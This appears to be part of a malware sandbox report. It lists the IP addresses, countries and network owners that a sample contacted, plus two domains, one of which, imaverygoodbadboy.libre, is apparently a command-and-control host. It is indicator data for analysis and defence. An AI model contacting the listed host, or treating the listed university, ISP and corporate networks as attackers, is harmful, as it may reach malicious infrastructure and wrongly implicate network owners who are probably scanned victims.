 unknown United States
12129 123NETUS false
115.119.28.225
 unknown India
4755 TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP false
204.174.88.169
 unknown Canada
19662 UNISERVE-ONLINECA false
133.214.8.110
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
129.5.141.3
 unknown United States
22742 CT-EDU-NETUS false
84.95.60.101
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
142.119.253.112
 unknown Canada
577 BACOMCA false
47.236.107.73
 unknown United States
20115 CHARTER-20115US false
121.139.211.17
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
202.8.120.128
 unknown China
135357 SKHT-ASShenzhenKatherineHengTechnologyInformationCo false
93.106.154.163
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
48.169.231.115
 unknown United States
2686 ATGS-MMD-ASUS false
53.218.83.7
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
112.184.20.14
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
113.200.238.14
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
imaverygoodbadboy.libre 38.54.122.172 true